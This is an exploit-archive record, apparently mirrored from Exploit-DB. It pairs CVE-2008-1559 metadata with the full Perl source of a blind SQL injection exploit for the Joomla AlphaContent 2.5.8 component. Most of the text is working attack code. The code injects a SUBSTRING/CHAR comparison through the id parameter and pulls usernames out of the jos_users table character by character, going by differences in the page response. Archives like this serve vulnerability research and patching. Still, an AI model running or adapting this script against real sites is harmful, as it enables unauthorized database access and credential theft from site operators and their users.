{"exploit":{"id":"EDB-5512","name":"Joomla! Component Alphacontent 2.5.8 - Blind SQL Injection (SQLi)","description":"Joomla! Component Alphacontent 2.5.8 - Blind SQL Injection (SQLi)","cves":["CVE-2008-1559"],"author":"cO2","published":"2008-04-27","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5512","path":"exploits/php/webapps/5512.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5512.pl","vulnerabilities":[{"id":"CVE-2008-1559","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the Bernard Gilly AlphaContent (com_alphacontent) 2.5.8 component for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter in a view action to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-1559","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-1559"},"updatedAt":"2024-08-07T08:24:42.816Z","retrievedAt":"2026-11-26T16:49:41.905Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5512.png?v=2","url":"https://exploitbin.com/exploits/EDB-5512","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5512/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5512/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#eSploit Framework - Inphex\nuse Digest::MD5 qw(md5 md5_hex md5_base64);\nuse LWP::UserAgent;\nuse HTTP::Cookies;\nuse Switch;\n$host_ = shift;\n$path_ = shift;\n$id_ = shift;\n$non_find = shift; #choose anything thats inside the article of id\n$column = \"username\"; #change if needet\n$table = \"jos_users\"; #change if needet\nprint \"usage: $0 http://host.com / 17 Following\";\n$info{'info'} = {\n \"author\" => [\"cO2,Inphex\"],\n \"name\" => [\"Joomla com_alphacontent Blind SQL Injection\"],\n \"version\" => [],\n \"description\" => [\"This Script will exploit a Blind SQL Injection vulnerability in com_alphacontent\\n\"],\n \"options\" =>\n {\n  \"agent\" => \"\",\n  \"proxy\" => \"\",\n  \"default_headers\" => [\n   [\"key\",\"value\"]],\n  \"timeout\" => 2,\n  \"cookie\" =>\n  {\n   \"cookie\" => [\"key=value\"],\n  },\n },\n \"sending_options\" =>\n {\n   \"host\" => $host_,\n   \"path\" => $path_.\"index.php\",\n      \"port\" => 80,\n   \"method_a\" => \"SQL_INJECTION_BLIND\",\n   \"attack\" =>\n  {\n    \"option\" => [\"get\",\"option\",\"com_alphacontent\"],\n    \"section\" => [\"get\",\"section\",\"3\"],\n    \"task\" => [\"get\",\"task\",\"view\"],\n    \"cat\" => [\"get\",\"cat\",\"3\"],\n    \"sql\" => [\"get\",\"id\",\"\".$id_.\"%20AND%20SUBSTRING((SELECT%20\".$column.\"%20FROM%20\".$table.\"%20LIMIT%200,1),\\$h,1)=CHAR(\\$i)\"],\n    \"regex\" => [[$non_find]],\n  },\n },\n};\n&start($info{'info'},222);\nsub start\n{\n $a_ = shift;\n $id = shift;\n $get_dA = get_d_p_s(\"get\");\n $post_dA = get_d_p_s(\"post\");\n my ($x,$c,$m,$h,$ff,$kf,$hp,$c,$cccc) = (0,0,0,0,0,0,0,0,0);\n my $jj = 1;\n my $ii = 48;\n    my $hh = 1;\n my $ppp = 0;\n my $s = shift;\n my $a = \"\";\n my $res_p = \"\";\n my $h = \"\";\n ($h_host_h_xdsjaop,$h_path_h_xdsjaop,$h_port_h_xdsjaop,$method_m) = ($a_->{'sending_options'}{'host'},$a_->{'sending_options'}{'path'},$a_->{'sending_options'}{'port'},$a_->{'sending_options'}{'method_a'});\n $ua = LWP::UserAgent->new;\n $ua->timeout($a_->{'options'}{'timeout'});\n if ($a_->{'options'}{'proxy'}) {\n     $ua->proxy(['http', 'ftp'] => $a_->{'options'}{'proxy'});\n }\n $agent = $a_->{'options'}{'agent'} || \"Mozilla/5.0\";\n $ua->agent($agent);\n {\n  while (($k,$v) = each(%{$a_}))\n   {\n   if ($k ne \"options\" && $k ne \"sending_options\")\n    {\n    foreach $r (@{$a_->{$k}})\n     {\n     if ($a_->{$k}[0])\n      {\n      print $k.\":\".$a_->{$k}[0].\"\\n\";\n      }\n     }\n    }\n   }\n\n  foreach $j (@{$a_->{'options'}{'default_headers'}})\n   {\n   $ua->default_headers->push_header($a_->{'options'}{'default_headers'}[$m][0] => $a_->{'options'}{'default_headers'}[$m][1]);\n   $m++;\n   }\n  if ($a_->{'options'}{'cookie'}{'cookie'}[0])\n   {\n   $ua->default_headers->push_header('Cookie' => $a_->{'options'}{'cookie'}{'cookie'}[0]);\n   }\n\n }\n switch ($method_m)\n {\n  case \"attack\" { &attack();}\n  case \"SQL_INJECTION_BLIND\" { &sql_injection_blind();}\n  case \"REMOTE_COMMAND_EXECUTION\" { &attack();}\n  case \"REMOTE_CODE_EXECUTION\" {&attack();}\n  case \"REMOTE_FILE_INCLUSION\" { &attack();}\n  case \"LOCAL_FILE_INCLUSION\" { &attack(); }\n  else { &attack(); }\n }\n\n sub attack\n {\n\n  if ($post_dA eq \"\") {\n   $method = \"get\";\n  } elsif ($post_dA ne \"\")\n  {\n   $method = \"post\";\n  }\n  if ($method eq \"get\") {\n   $res_p = get_data($h_host_h_xdsjaop,$h_path_h_xdsjaop.\"?\".$get_dA);\n   ${$a_}{$id}{'content'} = $res_p;\n   foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})\n    {\n    $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/;\n\n    while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1])\n     {\n     if (${$jj} ne \"\")\n      {\n      ${$a_}{$id}{'regex'}[$h] = ${$jj};\n      }\n      $jj++;\n     }\n     $h++;\n    }\n  } elsif ($method eq \"post\")\n  {\n   $res_p = post_data($h_host_h_xdsjaop,$h_path_h_xdsjaop.\"?\".$get_dA,\"application/x-www-form-urlencoded\",$post_dA);\n\n   ${$a_}{$id}{'content'} = $res_p;\n   foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})\n    {\n    $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/;\n    while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1])\n     {\n     if (${$jj} ne \"\")\n      {\n      ${$a_}{$id}{'regex'}[$h] = ${$jj};\n      }\n      $jj++;\n     }\n     $h++;\n    }\n  }\n }\n sub sql_injection_blind\n {\n  syswrite STDOUT,$column.\":\";\n  while ()\n   {\n   while ($ii <= 90)\n    {\n    if(check($ii,$hh) == 1)\n    {\n     syswrite STDOUT,lc(chr($ii));\n     $hh++;\n     $chr = $chr.chr($ii);\n     }\n     $ii++;\n   }\n   push(@ffs,length($chr));\n   if (($#ffs -1) == $ffs)\n    {\n    print \"\\nFinished/Error\\n\";\n    exit;\n    }\n    $ii = 48;\n  }\n }\n sub check($$)\n {\n  $ii = shift;\n  $hh = shift;\n  if (get_d_p_s(\"post\") ne \"\")\n   {\n   $method = \"post\";\n  } else { $method = \"get\";}\n  if ($method eq \"get\")\n   {\n   $ppp++;\n   $query = modify($get_dA,$ii,$hh);\n   $res_p = get_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}.\"?\".$query);\n   foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})\n    {\n    if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/)\n     {\n     return 1;\n     }\n     else\n    {\n      return 0;\n    }\n    $h++;\n   }\n  } elsif ($method eq \"post\")\n   {\n   $ppp++;\n   $query_g = modify($get_dA,$ii,$hh);\n   $query_p = modify($post_dA,$ii,$hh);\n\n   $res_p = post_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}.\"?\".$query_g,\"application/x-www-form-urlencoded\",$query_p);\n   foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})\n    {\n    if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/)\n     {\n     return 1;\n     }\n     else\n     {\n      return 0;\n     }\n    $h++;\n   }\n  }\n }\n    sub modify($$$)\n {\n     $string = shift;\n     $replace_by = shift;\n     $replace_by1 = shift;\n     if ($string !~/\\$i/ && $string !~/\\$h/) {\n      print $string;\n         } elsif ($string !~/\\$i/)\n  {\n          $ff = substr($string,0,index($string,\"\\$h\"));\n             $ee =  substr($string,rindex($string,\"\\$h\")+2);\n             $string = $ff.$replace_by1.$ee;\n             return $string;\n  } elsif ($string !~/\\$h/)\n  {\n         $f = substr($string,0,index($string,\"\\$i\"));\n         $e = substr($string,rindex($string,\"\\$i\")+2);\n         $string = $f.$replace_by.$e;\n      return $string;\n  } else\n  {\n      $f = substr($string,0,index($string,\"\\$i\"));\n         $e = substr($string,rindex($string,\"\\$i\")+2);\n         $string = $f.$replace_by.$e;\n      $ff = substr($string,0,index($string,\"\\$h\"));\n         $ee =  substr($string,rindex($string,\"\\$h\")+2);\n         $string = $ff.$replace_by1.$ee;\n      return $string;\n  }\n }\n sub get_d_p_s\n {\n  $g_d_p_s = shift;\n  $post_data = \"\";\n  $get_data = \"\";\n  $header_data = \"\";\n  %header_dA = ();\n  while (($k,$v) = each(%{$a_->{'sending_options'}{'attack'}}))\n   {\n   if ($a_->{'sending_options'}{'attack'}{$k}[0] =~ \"get\")\n    {\n    $method = \"get\"; push(@get,$a_->{'sending_options'}{'attack'}{$k}[1].\"=\".$a_->{'sending_options'}{'attack'}{$k}[2]);\n    }\n    elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ \"post\")\n    {\n     $method = \"post\"; push(@post,$a_->{'sending_options'}{'attack'}{$k}[1].\"=\".$a_->{'sending_options'}{'attack'}{$k}[2]);\n     }\n     elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ \"header\")\n    {\n            $header_dA{$a_->{'sending_options'}{'attack'}{$k}[1]} = $a_->{'sending_options'}{'attack'}{$k}[2];\n    }\n    $hp++;\n   }\n  $yy = $#get;\n  while ($bb <= $#get)\n   {\n   $get_data .= $get[$yy].\"&\";\n   $bb++;\n   $yy--;\n   }\n  $l = $#post;\n  while ($k <= $#post)\n   {\n\n   $post_data .= $post[$l].\"&\";\n   $k++;\n   $l--;\n   }\n  if ($g_d_p_s eq \"get\")\n   {\n\n   return $get_data;\n   }\n   elsif ($g_d_p_s eq \"post\")\n  {\n   return $post_data;\n  } elsif ($g_d_p_s eq \"header\")\n  {\n   return %header_dA;\n  }\n }\n sub get_data\n {\n  $h_host_h_xdsjaop = shift;\n  $h_path_h_xdsjaop = shift;\n  %hash = get_d_p_s(\"header\");\n     while (($u,$c) = each(%hash))\n   {\n   $ua->default_headers->push_header($u => $c);\n   }\n  $req = $ua->get($h_host_h_xdsjaop.$h_path_h_xdsjaop);\n  return $req->content;\n }\n sub post_data\n {\n  $h_host_h_xdsjaop = shift;\n  $h_path_h_xdsjaop = shift;\n  $content_type = shift;\n  $send = shift;\n  %hash = get_d_p_s(\"header\");\n     while (($u,$c) = each(%hash))\n   {\n      $ua->default_headers->push_header($u => $c);\n   }\n  $req = HTTP::Request->new(POST => $h_host_h_xdsjaop.$h_path_h_xdsjaop);\n  $req->content_type($content_type);\n  $req->content($send);\n  $res = $ua->request($req);\n  return $res->content;\n }\n}\n\n# milw0rm.com [2008-04-27]","sha256":"9ad320468ee4916e14ede691010b1faabf8895889d26285240c7b1a3973b89c0","bytes":8259,"fetchedAt":"2026-11-27T08:07:11.499Z","encoding":"utf-8 (display only; download retains original bytes)"}